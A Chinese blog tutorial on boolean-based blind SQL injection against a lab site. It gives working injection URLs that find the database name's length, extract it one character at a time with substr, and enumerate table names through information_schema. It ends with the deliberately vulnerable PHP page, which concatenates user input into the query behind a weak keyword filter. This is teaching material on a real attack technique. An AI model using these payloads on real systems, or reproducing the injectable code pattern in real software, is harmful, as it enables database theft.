SQL注入基础:2.boolean注入

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/SouthWind0/article/details/82917798

SQL注入基础:2.boolean注入

Boolean注入:构造SQL判断语句,通过查看页面的返回结果来推测哪些SQL判断条件是成立的,以此来获取数据库中的数据。

2.1 boolean注入攻击

1)考虑使用boolean注入

URL:http://www.tianchi.com/web/boolean.php?id=1

URL:http://www.tianchi.com/web/boolean.php?id=1'

发现页面只返回yes或者no,因此可以尝试使用boolean注入。

2)获取数据库库名

(1)判断当前数据库库名的长度

URL:http://www.tianchi.com/web/boolean.php?id=1' and length(database())>=8--+

URL:http://www.tianchi.com/web/boolean.php?id=1' and length(database())>=9--+

所以当前数据库库名的长度是8。

(2)获取当前数据库库名

由于数据库的库名范围一般在a-z,0-9之间,可能有特殊字符,不区分大小写。所以可以逐字符判断当前数据库库名,使用substr来截取database()的值,一次截取一个,注意和limit的从0开始不同,它是从1开始。如判断第一个字符是否是a如下:

URL:http://www.tianchi.com/web/boolean.php?id=1' and substr(database(),1,1)='a'--+

为了方便可以利用Burp爆破:

可以看到当前数据库库名的第一个字符是s,如下所示:

同理,得到所有字符,最后得到当前数据库库名是:security。

3)获取数据库表名

使用以下语句替代database():

(select table_name from information_schema.tables where table_schema='security' limit 0,1)

如获取security数据库的第一个表名的第一个字符:

URL:http://www.tianchi.com/web/boolean.php?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a'--+

这里利用Burp爆破:

可以看到security数据库的第一个表名的第一个字符e,如下所示:

同理,得到所有字符,最后得到security数据库的第一个表名是:emails。修改limit 0,1为limit 1,1,可以得到第二个表名。最后得到所有表名:

第1个表名是:emails

第2个表名是:referers

第3个表名是:uagents

第4个表名是:users

依次类推,就可以得到完整的数据库库名,表名,字段名和具体数据。

2.1 boolean注入PHP代码

<?php
header("Content-Type:text/html;charset=utf8");
$con=mysqli_connect("localhost","root","root","security");
mysqli_set_charset($con,'utf8');
if(!$con){
	echo "Connect failed : ".mysqli_connect_error();
}

$id=$_GET['id'];
//过滤危险字符
if (preg_match("/union|sleep|benchmark/i",$id)){
	exit("存在危险字符!");
}

$result=mysqli_query($con,"select * from users where id='".$id."'");
$row=mysqli_fetch_array($result);
if ($row){
	exit("yes");
}else{
	exit("no");
}

?>

猜你喜欢

转载自blog.csdn.net/SouthWind0/article/details/82917798